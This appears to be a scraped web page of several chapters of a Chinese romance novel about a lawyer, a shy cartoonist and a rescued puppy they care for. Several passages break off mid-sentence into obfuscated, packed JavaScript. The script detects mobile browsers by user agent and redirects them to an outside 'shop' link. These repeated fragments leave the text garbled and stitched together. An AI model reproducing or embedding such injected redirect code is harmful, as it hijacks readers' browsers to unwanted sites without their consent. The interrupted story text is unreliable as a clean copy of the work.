RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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五分钟后,陈述突然收到连萌发来的微信消息。 连萌:【我拿了一套你要的样书,放在你的鞋柜上了。】 陈述开门取书,瞧了眼她已经紧闭的家门。 陈述:【拿到了,谢谢。】 关上门,他将一摞书放在茶几上,然后按原计划回主卧浴室洗澡。 洗完出来,陈述换上黑灰色不规则竖纹睡衣,边擦着半干的头发边走回客厅,目光扫过茶几,脚步便自然走过去。 他坐到沙发上,毛巾扔在一旁,研究起连萌送来的这套漫画。 漫画名字叫《祝你遇见好天气》,封面画风很清新,半边栏杆后面是枝繁叶茂的树,一眼就让人感觉是夏日校园氛围。 陈述数了下,全套有八本。 他拿起第一本,翻了一下,想起什么,又立刻回到封面,找到了作者的名字——金秋。 这应该就是她的笔名。 陈述盯着这名字,默念了两遍。 11. 11 祁予望介绍的宠物医院果然很靠谱,陈述没时间去宠物医院的三天,他甚至每晚都能收到宠物医院的总结报告,包括小白当日照片,它今天做了什么检查项目,出了什么检查结果,用了什么治疗方案,吃了什么,喝了多少。 当然主要目的是为了跟他说,他到底要付多少钱。 陈述看着账单也发愁,这么花钱的一个小玩意儿,真能送得出去吗? 而且医生还说小白就是个小土狗,品种叫土松犬,根据它的牙齿判断,它大概才出生两个月左右。 小白由于病毒感染,这几天都在输液。 陈述翻看着它的今日照片,意外在输液的小白旁边看见个熟悉身影——连萌? 陈述发消息问医院的工作人员:她今天去看小白了? 工作人员:这位小姐姐最近每天上午都会来陪小白输液。 陈述想了想,转头又发消息给连萌。 陈述:你有兴趣领养小白吗? 连萌:不太方便。 陈述:哪里不方便? 连萌:我的房子是租的,房东不让养。怎么突然问这个?你已经开始给小白找主人了吗? 陈述将医院发给他的照片转发给她。 陈述:还没,只是我看你很喜欢它的样子。 连萌:哦…… 她都不知道这照片是什么时候拍的。 连萌:你工作忙抽不出空也没事儿,在它出院前,我会常去看看它的。 陈述挑挑眉——感觉她为了这狗,出门频率应该都变高了。 陈述在微信上的语气像是把看望小白这事儿全交给连萌了,但只隔了一天,他上午在外面见完客户,没立刻回律所,忙里偷闲去了小白所在的宠物医院。 车停在路边,他不用下车,就能透过落地窗看到输液室里的情况——小白正趴着输液,从这个视角看不清,能看清的只有守着它的连萌。 连萌端着护士给她的小盆儿在给小白喂水,似乎是见它不喝,她还摸摸它的头,嘴里说着什么,哄它。 鹅黄色连衣短裙让她的肤色看起来几近透明的白,柔软的头发随着低头的动作垂下,她腾出一只手随意将发丝顺到耳后,露出她面对动物时放松灵动的表情。 陈述手搭在方向盘上,看了一会儿,没来由地也觉得放松。 连萌真的很适合当个漫画家,跟疲于奔命的普通人不同,她像是更梦幻轻盈的世界里才会存在的形象。 陈述转头,连萌画的漫画正在他副驾驶座上。 这书他抽空已经看到第三册了,本以为是讲恋爱的少女漫画,结果是记录大学生活的,其中当然有谈及恋爱的部分,但更多是能引发人共鸣的日常,而且风格十分冷幽默。 陈述每次被冷到,但又能领悟到其中的笑点时,都非常想找个人分享这种无语的心情,可惜一个梗不结合上下文地单独说出来根本不好玩,长篇大论地给别人解释更不好玩,导致他现实生活中找不到共鸣,只能利用工作间隙的碎片时间到网上去找其他读者对这部漫画的评价。 陈述不仅顺利找到了她连载的网站,还翻到了一些她以前的采访,他这才知道她的笔名之所以叫金秋,是因为她的生日和正式开始连载第一部漫画的日子都在十月——金秋十月。 陈述感觉她给自己取个笔名都透着点她画风里莫名的冷幽默——她社恐内向的外在性格下似乎藏着另一个非常有趣的精神世界。 陈述的视线重新转向落地窗里的人,发了三分钟的呆,没下车,直接回律所了。 还有一个红绿灯就到律所时,他才想起来——诶?说好去看狗的呢,他也没看啊。 — 连萌的生活因小白的出现多了点新鲜色彩,每天跑去宠物医院看它,只要做完跟工作人员打招呼这件事,就可以跟猫猫狗狗们待在一起了。 她发现自己好像真挺喜欢小动物,要不是房东不允许,她感觉养只宠物一定对她的心理状态有帮助。 咨询时,祁予望也肯定她的想法:“宠物能够充当陪伴的角色,对于独居且喜欢动物的都市人来说是可以起到慰藉作用的。” 连萌点点头,心里感到可惜。 祁予望看着她的神情,猜想到她的状况,建议她:“其实宠物也不一定要养在家里,你可以常去猫咖之类的地方待一待,或者去收养流浪动物的机构做义工,这样既能增加你出门与外界接触的机会,也能因为小动物们让你出门的过程不那么难熬。” 这个建议倒是很适合连萌的实际情况。 连萌看向他的眼睛,浅笑着,再次点了点头。 祁予望回以笑容,见她没更多话想说,于是提议:“时间差不多了,没有其他事的话,你要不要早点回去休息,我们下周再见。” 连萌想不出其他事,只能起身,整理下自己的长裙,拿起包,刚要转身出门,突然想到了什么,说:“小白好多了,明天就能出院了。” 祁予望处于工作状态,一时没能反应过来:“啊?” 连萌提醒他:“就是之前和你一起送到宠物医院的小狗,它叫小白。” 祁予望“哦”了声,边起身去身后书架拿资料,边说:“那就好,那家医院布鲁去了很久了,医生还是挺有经验的。” “是的,医院里的工作人员都很好。” 就这么闲扯一个话题,连萌因为紧张,又把自己尬到跑进了洗手间,她洗了下手,用点凉水拍了拍自己的脖子,希望自己冷静点。 然后她看着镜子里穿着浅蓝色长裙的自己,感觉有点陌生,有点惆怅——这并不是她的穿衣风格,但因为猜想祁予望会喜欢,所以前两天临时网购了一条,就为了今天的咨询可以穿。 可惜他没有任何反应。 也是,他能有什么反应。 连萌对着镜子,深深地叹了一口气。 她刚想抽纸,擦了手回家,厕所隔间里忽然有人开口说话。 有个女生在问:“请问外面有人吗?” 连萌左右看了看,这儿只有她一个人,她只好回道:“有人。” “小姐姐,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300565|152221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思,请问你带卫生巾了吗?”女生有些尴尬地说。 连萌没带,但同为女性,她很能感同身受对方目前的状况。 即使她再社恐,这种情况也是要帮忙的。 连萌说:“我没带,你等一下,我出去找别人问问。” 女生感激道:“谢谢,麻烦了。” 连萌从洗手间出来,直奔前台方向,差一个拐弯就到时,听到了前台有两人在聊天。 连萌来得多了,都能听出两个声音分别是谁。 前台小姐说:“今天那位连小姐也来了。” 连萌就是听见这句停下了脚步。 助理小姐说:“真是碰巧了,两人都一天来。” “祁老师那长相干职业道德要求这么高的工作真是为难,总是有来访者爱上他。” “不是来访者的那位宋小姐不照样爱他,往这儿跑得多积极。” “宋小姐我倒是不担心,我就怕那位连小姐最后又像以前那些人一样,被祁老师转介给其他心理咨询师,我们中心不就又少了个顾客。” “我看最终结局一定还是转介,你没看她来咱们这儿,一次比一次打扮得用心。” 前台:“是的!主要上次那个曲奇饼干真的太明显了,送给我们的是塑料盒包装的一小盒,送给祁老师的是铁盒装的一大盒。” 助理:“而且还用漂亮的手提袋装着,袋口系了蝴蝶结,贴在袋子上的便利贴还是粉色爱心形状的,你说这谁能看不出来。” 连萌听她们说着,低头看着自己身上的长裙,心里不禁在想:真有这么明显吗?那祁予望也能看出她喜欢他吗? 不过就算她表现得再明显,心理中心的工作人员在上班时间这样议论顾客还是很不专业啊。 连萌不满地撇撇嘴,然后悄悄往反方向跑远了些,再往前台走时故意发出明显脚步声。 等她走到,两人果然没有再继续,一人一张椅子坐得端端正正。 连萌当做什么都没听到,正常向她们询问:“请问有卫生巾吗?” 前台包里有。 她便道谢接下,返回洗手间。 连萌敲敲有人在的隔间门。 女生将门开了一条缝。 连萌将卫生巾递进去,见对方关上门,她便打算离开。 谁知那女生非常感激,隔着一道门连声道谢:“真的太谢谢你了,要不是你,我都不知道该怎么办。我今天是来找人约会的,结果突然发生这状况,你要是没进来,我就得打电话让他给我送卫生巾,饭还没吃上呢,那也太尴尬了。” 被她的道谢拦住脚步的连萌淡声回道:“不用谢,这种突发情况很正常的,不用尴尬。” 而后,连萌还没来得及离开,女生就已经迅速地整理好了自己并推门出来。 连萌下意识抬头看去,才明白助理说的“两人一天来”原来是这个意思—— 出来的人是之前在祁予望办公室门口等他,与他背影都很相配的那个长裙女生。 所以,她姓宋? 12. 12 穿长裙的宋小姐今天没穿长裙,穿的是紧身牛仔裤和丝质衬衫,依然优雅漂亮,更显婀娜窈窕。 她是来找祁予望约会的——连萌悄悄摸了摸身上的长裙,觉得自己像笑话。 她的情绪难以言喻,出了心理咨询中心没回清水湾,直奔宠物医院,想向小白寻求拥抱和安慰。 到了地方,发现陈述也在。 陈述刚结完小白半个月的住院费用,在给它办出院,与此同时在工作人员的建议下买了一些宠物用品。 护士上前说:“陈先生,那我现在去把小白抱出来。” “好,麻烦了。”陈述拿着纸质账单和出院记录,等在收费处,一抬头看见了门口的连萌。 他愣了下,才说话:“你每天这个时间也来吗?” 连萌没回答他的问题,反问:“小白不是明天出院吗?” 陈述下意识抬了下手里的单子,“我明天有事,没办法来接它,所以跟医生沟通今天给它办出院。” 小白该查的、该治的都做完了,疫苗也打完了第一针联苗,它的精力和体重都恢复了很多,提前一天出院没有问题,之后该复查的时候复查,该打疫苗的时候打疫苗,即可。 “我本来打算接到它,再发消息告诉你一声的。”陈述没忘了向这两周来最关心小白的人解释一句。 “那你现在是要带它回家吗?”连萌问。 陈述皱眉,摇摇头,“我实在没时间照顾它,这阵子也没能给它找到收养的人,所以先送到我爸妈那儿去吧,他们本身就养了几只猫狗,有经验。” “哦。”这是很合理的安排,但连萌的表情里明显能看出不舍。 陈述看得出来,他思忖了下,“要不给小白找个寄养的地方,你再陪它一段时间?” 连萌闻言,缓慢摇了摇头,没有接受他的好意,“不用了,还是让小白尽早有个稳定的生活环境比较好。” 护士这时将小白抱给了陈述。 小白下一刻就在他怀里挣扎起来,恢复了体力的身体挺有力气,扭着头往连萌那儿看。 陈述没亲自养过狗,对宠物的这类反应一点招儿没有,只能将它递给连萌,正好让他们道别。 小白一到连萌怀里还真就安静了下来,哼哼唧唧撒起娇,头往她臂弯里埋。 陈述这个心寒啊,账单还在他手上捏着呢,它知不知道他为了它刚花了多少钱啊,至于抱一下都要挣扎? 小狗当然不可能知道。 小狗只知道连萌的脸是熟悉的脸,连萌的味道是熟悉的味道,连萌的怀抱柔软又温暖,连萌会摸着它的头并注视它的眼睛。 它和她,互相喜欢。 连萌和小白抱了一会儿,就算是道别完。 陈述将买的宠物用品搬进后备箱,然后想让小白坐到车后座上,但这几乎是不可能的任务,小白根本不愿意和连萌分开,更不可能安坐在一个陌生的环境。 陈述只好在连萌的帮助下将小白放进宠物包里,就这么半强制地带着它出发。 陈述想得挺好,只要把它带到父母跟前,他们养了多年的宠物,总会有安抚它的办法。 但陈述只开出去了不到两百米远,就立刻投降,掉头找连萌求救。 还好连萌打的车还没到。 陈述将车开到连萌面前,降下车窗。 连萌见状,向车里投去疑惑的眼神。 陈述无可奈何地请问:“你待会儿有事吗?” 连萌摇头:“我准备回家了。” 陈述叹气,“那你能跟我一起送下小白吗?它不停地叫。” 连萌想了下,取消打车订单,坐进车后座,打开宠物包,让小白发现她的存在。 小白竟就真的安静了下来。 陈述简直目瞪口呆,连萌对它就这么百试百灵? 半个月的相处而已,竟能培养出这样的信任、依赖和感情。 陈述说:“它看起来像是认定你了,要不你跟你的房东再商量看看?” “我也很喜欢它,但租房的时候不许养宠物这条,房东是特意强调的,感觉没什么商量的余地。”最关键的是小白出现前,她刚续了租约,不然即使要换个住处,她也想养小白。 目前最好的方案,还是要将小白送到陈述父母家。 陈述父母近年退休后,卖了城区老房子,在接近郊区的地段买了带院子的别墅,每天写字种花、养猫逗狗,过着梦想中的退休生活。 陈述开车过去要四十分钟。 小白的情绪缓和下来之后,车里安静了好一会儿。 直到陈述再问起先前他没得到答案的那个问题:“你每天下午也会来看它吗?” “没有。”连萌回想起去宠物医院之前的状况,隐藏某部分情绪,轻描淡写道:“我是去了祁老师的心理中心,回来的时候顺路想去看小白一眼。” “今天是你心理咨询的日子?” “是。” 得到这句答案,陈述沉默了片刻。 看起来活在轻盈可爱的世界里的女孩儿,也有需要专业人士帮助的心理问题。 陈述之前第一次听她说这事儿的时候,还没有什么太大的感触,这会儿却莫名有些感叹。 “跟自己暗恋的人做心理咨询,真能做到完全坦诚吗?”感叹完了,他的脑回路忽然走到了这儿。 面对这问题,连萌倒也诚实:“不能。” “那这心理咨询会不会有点浪费钱的意思?” “不会,谁说每周跟自己喜欢的人聊聊天对心理状态没有正面作用呢。” 陈述笑了声,“这想法倒是很积极。” 连萌的眼睛往窗外瞧,“有积极的时候,也会有消极的时候。” 陈述闻言,感觉不对劲,下意识从后视镜里看她。 就在这时,连萌忽然朝他看过来。 陈述无故心虚地收回视线。 连萌问:“陈律师,祁老师是有女朋友了吗?” 陈述打着方向盘,沉吟了片刻,说:“没听说呀。” “那您看在我和您一起送小白的份上,能帮我打听一下吗?我今天去心理中心,在洗手间遇到一位找他约会的女生,那个女生之前也来找过他。” “啊?是吗?” “嗯,她好像是姓宋。” “宋?宋茸?”陈述下意识脱口而出。 可他俩的相亲不是黄了吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300566|152221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 连萌见他立马就能叫出全名,好奇问:“你认识?” 陈述瞥一眼后视镜,“高中同学,之前听说她在跟祁予望相亲,不过我跟她有年头没见过了。” “哦,所以你们全是老同学啊。”连萌视线下垂。 青春时期同学之间的交情和回忆,感觉是之后出现的人永远参与不进去的领地。 陈述只听声音,就听出了她的情绪不对劲。 他没多说什么。 连萌想知道更多,也怕知道更多,话说到这里,没再追问下去。 在一片安静中,车不知不觉开到了陈述父母所住的别墅区,时间已到傍晚。 入目的道路旁绿树成荫,草坪整齐洁净,渐有灯光亮起。 陈述在自家房子附近停了车,而后下车开了后座门,从连萌的手里连着宠物外出包一起接下了小白,“你坐这儿等一下,我把小白和后备箱的那些宠物用品给我爸妈送去,马上就回来。” “需要帮忙吗?”连萌亲眼看着他和店员一起把一堆东西弄进后备箱的,他要是自己一个人搬,感觉要跑好几趟。 陈述说:“没事,不用。” 要是让她帮着一起往父母家里搬东西,她无法避免地得要跟他父母打招呼——所以还是别为难她。 连萌好心好意,陈述也没忘了为她考虑,两人这儿挺和谐挺友好,可惜还是没能避开巧合。 陈述连车后座的门都没来得及关上,去邻居家串门回来的陈述母亲——周蕴秀女士,出了隔壁的门,正好看见自家儿子下车,她本想出声叫他,但看他打开后车门正忙着说话,她之后走近些才看清,车后座确实还坐着一人。 她没打扰他,自己不声不响地走过去。 在陈述接过一个包,准备关车门时,她快步过去,探身往车里瞧,嘴上不走心地跟儿子打招呼:“怎么不打一声招呼就突然回来?今天不加班?” 陈述没能及时完成关门的动作,心下对连萌感到抱歉,“之前不是在微信里跟你们提过,我捡了只小狗,没处送,等它身体好点儿,就送回家,你们先帮我养着。” “哦,狗呢?”周蕴秀问。 陈述提提手里的包,“这儿呢。” 周蕴秀根本也不往他手上瞧,眼睛看着车里人,这会儿才认出来,“这不是那天送我去医院的小姑娘?” 连萌在他们对话期间,为了减弱自身的存在感,就连呼吸都放轻,等阿姨话里说到她,才没再假装自己不存在。 她转头看过去,首先下意识问好:“阿姨好。” 周蕴秀总算看清她的正脸,语调因激动而变高:“呦,还真是。” 陈述在旁解释:“狗太闹,路程又长,正好连萌有空,我就请她跟我一起跑一趟,路上帮忙照看下小狗。” “啊?那多不好意思啊,这么点儿事还麻烦人家一趟。”周蕴秀向车里伸手,“姑娘,你就别急着走了,赶快下车,阿姨得好好谢谢你,这也到晚饭点了,正好一起吃顿饭。” 听见这话,连萌边客套边拒绝,陈述也在帮她拦住母亲,可惜周蕴秀的态度是更高一层的坚决。 连萌和陈述,两个人的口舌加起来都没能躲过这顿晚饭。 13. 13 陈述父母平日在家吃得清淡,晚饭更是简单应付。 突然来了两个年轻孩子,临时再去买菜做饭已经来不及了——陈母先是问了连萌的喜好和口味,然后让陈父打电话给熟悉的餐厅,让他们赶快送几个大菜过来。陈母则和保姆翻起冰箱,想在等菜来的这段时间,利用家里现有的食材折腾几个快手菜出来。 家里大人因为她的到来都忙活了起来,连萌见状,在沙发上坐立不安。 “有我可以帮忙的事情吗?”她尴尬地用自言自语的音量念叨了句,说着就要起身。 陈述拉住她,拿了包茶几上的小袋瓜子塞她手里,然后提高声音跟父母说:“随便弄两个菜就行了,晚上吃太多也难消化。” 父母二人,一个在厨房,一个在茶室,隔了一段距离,也不知道他们听没听见。 没人应话,陈述和连萌只能坐着。 坐了一会儿,陈述略感疲倦地叹了口气,向身边人提议:“也没别的事儿干,要不要去院子里找小白玩儿?其他猫猫狗狗也在那儿。” 周蕴秀和陈述的父亲——陈书清,之前已经养了两只猫一只狗,小白一来,两猫两狗,闹得很欢。 陈家的郊区别墅是地上三层地下两层的联排别墅,相比独栋,院子面积是有限的,一侧种了花草、放置了喝下午茶的桌椅和遮阳伞,另一侧是以供猫狗活动的草坪,中间道路则铺了石板。 连萌一进入草坪,小白立刻察觉到,下一秒就放弃了和其他猫狗的争斗,围到了连萌身边跑来跳去。 连萌挺担心,不管它听不听得懂,弯腰摸着它的头,温声细语地跟它说:“你刚出院,扭伤的腿还是要小心点。” 小白闻言,竟肉眼可见地愣了下,随之呜咽了声,乖顺地在她脚边趴了下来。 这一幕,连萌都赞叹:“小白真的好通人性。” 说完,她下意识看向陈述,企图寻求共鸣。 陈述作为不被小白待见的人,他僵硬地勾了下嘴角,难以附和她“它只是听你的话罢了。” 连萌笑了下,没多在意,她近来挖掘出了自己对小动物的喜爱,于是饶有兴致地向陈述打听着小猫小狗的品种、年纪和名字。 陈述见它们见得少,只能靠仅存的记忆介绍着:“脸黑脖子白的那只是暹罗猫,今年应该三岁了,名字叫橙汁儿。另外那只猫是橘猫,比橙汁儿大几个月,名字叫雪碧。狗是最早到家里来的,今年六岁多,叫可乐,是只西高地。” 连萌一只一只细细看过去,“都长得好漂亮。” “老头老太太现在一天啥也不干,光伺候它们了,养它们比当年养我都用心,能不漂亮吗。”陈述埋怨。 他的语气逗得连萌笑起来,她没太走心过脑,只是想顺着他的话客套,随口一句:“叔叔阿姨把你养得也挺漂亮的。” 陈述一怔,看向她,“啊?” 连萌没觉得她的话有哪儿不对,无辜眼瞧回去,反问道:“怎么了?” 陈述下意识抬手摸了摸鼻子,忽然想不起来该说什么,只好说:“没怎么。” 说完,还是觉得不对,他被搞得这反应,那她的话肯定有点不对劲,怎么她看他一眼,他脑子还短路了? 他最近可能真的太累了。 陈述的状态不太调整得过来,就这么脑子发蒙、云里雾里的,一直到吃饭。 桌子上是陈述都难得一见的阵仗,长方形的八人餐桌上,色香味俱全的六道大菜放中间,旁边围了一圈小菜。 在外独居加工作,通常一碗面就能解决一顿晚饭的陈述,也情不自禁吐槽起父母的铺张浪费——这五个人怎么可能吃得完。 周蕴秀瞥他一眼,想教育他知不知道什么叫待客之道,但怕第一次来的连萌觉得不自在,她还是忍了下来,笑说:“吃得完吃得完,萌萌多吃。” “你今天刚知道人家名字,就开始叫人家萌萌了?”陈述接连吐槽他妈,丝毫不知收敛。 周蕴秀想回嘴,又因为客人在,不好发作,只能咬着牙瞪他。 连萌在旁看着,眼里逐渐显出笑意——他们家似乎是父母子女之间可以互开玩笑的家庭。 周蕴秀招呼连萌:“萌萌快坐,阿姨之前就想请你吃饭,今天总算有这个机会了,你可得吃好喝好,有什么需要就跟阿姨说。” 连萌社恐到连别人的善意都嘴笨得不知如何回应,说来说去都只是:“谢谢阿姨,太丰盛了。” 等父母和连萌都坐下了,陈述没忘了还在厨房的保姆,“阿姨,你别忙了,先来一起吃饭吧。” 保姆阿姨边洗草莓,边说:“不用了,你们吃吧,我给你们把水果准备好,我就先下班了。” 保姆阿姨不住家,今天有事,已经跟周蕴秀打好招呼要提早下班。 陈述了解了情况,就没再客气地坐下。 一桌四个人,正式开饭了。 在动筷子之前,陈书清端起水杯,对着连萌说道:“你叫连萌是吗?我听你周阿姨说了,她之前去儿子家,还没进家门就晕倒了,是你送她去的医院,事情发生之后我们一直都想找机会谢谢你。叔叔年纪大了,以茶代酒,感谢你那天的帮忙。” 连萌赶忙拿起手边的饮料杯,“您太客气了,叔叔。” 说完,陈书清喝了口茶,她喝了口饮料,意思了一下。 周蕴秀也端起自己的杯子,“阿姨也敬你。” 连萌又把杯子朝向阿姨,两人一起喝一口。 周蕴秀喝完自己的份,开始眼神示意陈述。 陈述注定逃不过,只能顺从地端起杯子和坐在一起的连萌碰了下杯,喝完后,说:“可以吃饭了吧,你们都快给人家喂个水饱了。” “那赶快吃菜,吃菜。”陈述的话算是提醒了周蕴秀,周蕴秀开始不停地用公筷给连萌夹菜、给她盛汤,看那架势,如果可以,她恨不得直接喂到连萌嘴里。 陈述拦着她,“人家有手有脚的,你让她自己吃,是你非要留人家吃饭的,别把她搞得不自在。” 周蕴秀不是不讲理的人,这个问题她承认,于是总算停了手,“行行行,那萌萌自己多吃点。” 连萌面上点头,心里却在想别的——这家人对她这么客气,她也得有礼貌,有个问题在今天这顿饭上她一定得问出口。 在大家都吃起来,餐桌上逐渐进入聊天气的闲聊氛围后,连萌瞅准时机,装作随口地问出了她准备好的那个问题:“最近真的太热了,阿姨身体还好吗?” 周蕴秀之前就是因为中暑和低血糖才晕倒的。 周蕴秀听见她柔柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那姐姐多大了?”周蕴秀不客气且忍不住好奇地接着问。 在连萌开口前,陈述抢先帮她回答:“跟她一样大,她们是双胞胎。” 他直觉,这样的对话正在慢慢消耗连萌的社交能量。 “双胞胎?真有福气。”周蕴秀感叹完,将问话对象转向儿子,“不过你怎么知道?” 陈述自愿充当新的目标,回答:“她姐姐目前在我们公司实习。” “这么巧?”周蕴秀和陈书清几乎同时说道。 你看吧,谁听了他们之间的交集都会觉得巧——陈述心想。 “那你多帮帮她姐姐,争取早日转正,毕竟萌萌帮了我那么大一个忙。”周蕴秀说。 陈述回:“谈不上转正,她姐姐是研究生期间来实习,之后还要回学校读书的。” “那你也能帮的多帮。”陈书清搭腔。 陈述点头。 连萌抬头看了他们一圈,嘴角微微带笑——他们家人真好,连翘之前拜托她答应陈述妈妈的吃饭邀请,就是想借由她跟陈述打好私人关系,结果他父母主动提出要他多帮忙,她连套近乎的话都不用说了。 14. 14 吃完餐后水果,陈述和连萌准备回家。 几个人走到院子里,周蕴秀突然想起什么,让他们等一下,然后自己又返回家中。 再等她重新走向院子,隔着一道门,先听见了响亮的狗叫声。 她跑出去,问:“怎么了?” “这叫得太厉害了。”站在院门口的陈书清转头向周蕴秀解释:“他们要出院子,小白不让走。” “主要是不让连萌走。”陈述很有自知之明。 “啊?不是你捡到的它吗?怎么跟萌萌这么亲?”周蕴秀疑惑。 陈述解释道:“捡到它那天,她陪着一起去的宠物医院,后面我没时间,也是她每天去看它。” 周蕴秀理解了,“那这肯定有感情,毕竟萌萌是在它受伤生病的时候最关心它的人。” “它这么喜欢你,你不考虑养它吗?”陈书清问连萌。 陈述代替回答:“她房东不让。” “是吗。” 天已经黑了,再过不久就要到邻居们的入睡时间,可乐从小就是只太乖的小狗,从没像小白这般叫过,陈书清没应付过这么躁动不安的宠物,他拧着眉,想到别的招儿:“所以你是没时间养,她是房东不让养,可你们不是住一层楼?那一层不就只有你们两户?” 连萌和陈述还不明白陈书清的意思,多年夫妻的默契就已经让周蕴秀知道丈夫的想法了。 “你爸是说,小白看起来只听萌萌的话,你们还是把它带回去,放在你家,萌萌养。”周蕴秀觉得很合理,“反正你们住对门,那几步路,跟住在一个家里有什么区别?” 她边说,边把小白抱到连萌怀里,小白果真安静下来。 周蕴秀一脸“你看吧”的表情。 陈书清见状很是惊讶,“看来只有这办法了。” 陈述已经见识过几次类似场景,眼下其实见怪不怪,同时觉得他爸妈出的这主意听起来是有点怪,但好像也不是不行。 连萌却睁大眼睛,觉得相当不合适,“这样不好吧,陈律白天都在上班,有时候加班到深夜,我要在他家养小白,可能就要在他不在家的时候进出他的房子,这真的不合适。” 更直白的话,连萌没说——万一他家什么东西找不到了,该怀疑是她拿的了。 “这没什么不合适的吧。”周蕴秀说,“陈述,你自己的东西放放好,别造成什么误会就好。” 连萌还是皱着脸——时间长了,很难说完全没有误会发生。 陈述倒及时给她吃了颗定心丸,“反正走廊和我家都有监控,你也知道的。” 听起来,他是能够接受这提议的。 连萌闻言,开始心动起来——监控的存在确实能让他们双方都安心。 陈述问她:“你确定想养吗?毕竟小白是我捡的,你要是不想养也没关系,我和我爸妈再想办法。” “我想。”面对这问题,连萌丝毫没犹豫。 养狗的事情竟就真的以如此奇妙的方式定下了。 陈家父母送两个孩子上车。 陈述开车,连萌还是待在后座陪小白。 在他们上车后,周蕴秀突然敲了敲连萌身旁的车窗。 连萌降下车窗。 周蕴秀递进来一个小袋子,轻声说:“这个很适合你。” 连萌愣了下,才反应过来阿姨是在送她礼物,刚想推辞,周蕴秀已经站直,走到路旁,说:“时间不早了,快走吧,快回去吧。” 连萌连拒绝的机会都没有,陈述就已发动了车辆。 她手里拿着袋子,懵了好一会儿,然后不知所措地向驾驶座举去。 陈述正要出小区门,余光能看见旁边有东西,但不能转头看,只能问:“怎么了?什么东西?” “阿姨给我的。”连萌小声说。 陈述确认安全没人后,迅速瞥了眼,一眼看到品牌名,他说:“那这应该是送给你的礼物吧。” “这看起来太贵重了。” “这牌子据我所知,应该也是有便宜东西的,你不用太有负担。” “那我无缘无故的,也不能收啊。”连萌不太好意思。 陈述笑着,继续宽慰她:“你都救了我妈,怎么还能说是无缘无故。这礼物没准儿就是她想着你准备的,只是一直没有机会送给你。你拆开看看东西喜不喜欢,不喜欢的话看看发票什么的在不在,找时间去换一个也行。” 连萌听话拆开,是对珍珠耳环。 陈述从后视镜里看见,捧场道:“珍珠啊,跟你今天这套衣服倒是很搭。” 然后他又实话实说地补了句:“虽然看起来不太像你平时的风格。” 听见这话,连萌眼眸垂下,默默将礼物收回袋子,收好之后,忽然来了句:“我以为他会喜欢。” 这没名没姓,突然冒出的“他”,再结合今天是周六。 陈述不用多动脑子就知道“他”是指谁,但他莫名对他们的对话中总是出现祁予望这件事感到有些疲惫,他边沉出口气,边说:“那他喜欢吗?” “不知道,看不出来。”连萌回。 “正常人喜欢也应该是喜欢某个人吧,真的会有人单纯喜欢某一件或某一类衣服吗?”毕竟是自己穿不到的衣服,陈述心想。 “应该会吧,那不然为什么都说得体好看的衣服可以带给别人良好的第一印象?”那穿对方有可能喜欢的款式,不是可以更直接地达到给对方留下好印象的效果。连萌是这样理解这件事的。 “这是一回事吗?”陈述提提嘴角,“而且,如果你真凭这件衣服得到了他的喜欢,那你是要一辈子穿他喜欢但你不喜欢的衣服吗?到时候你能分得清吗?他喜欢的究竟是你还是衣服,还是这类衣服在他心里代表的某个人?” 连萌瞬间哑口无言。 律师果然是律师,逻辑和洞悉事物本质的能力都很好。 “你知道最可怕的事情是什么吗?或许这件衣服在其他任何人那里都没有意义,只有你为此抹杀了自己的喜好,还浑然不觉,那怎么办?多冤枉啊。” 人年轻的时候似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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连萌的注意力到这里便成功被他转移,她开始回想起来,“嗯……我在高中的时候就有经营一个小小的分享我画作的社交账号。高考结束后的暑假里,我闲的没事,以漫画的形式分享了我高考前后和拿到录取通知书的经历和心情,意外的反响很好,甚至有人催更,我便又在大学开学后再次分享了相关日常,依然挺多人看,并且有人建议我可以换个平台开始连载,我考虑之后觉得可行,就开始认真做这件事。之后挺顺利地和平台签了约,正式走上了画手的路。现在想想,还挺庆幸,不是走上了这条路,我大学毕业后真的能找到工作吗。” “那你的漫画里都是你的真实日常?” “当然不是啊,我那点无聊日常哪能总有东西可画,正式连载后的漫画,算是基于现实的再创作吧。” “哦,创作得不错,挺有意思的。” “你看了?” “看完了。” “天呐,画手的命好苦,我画了四年多,读者只要半个月就能看完。” 陈述残忍地告诉她真相:“没到半个月。” 连萌瞬间哽住,一口气吐不出来。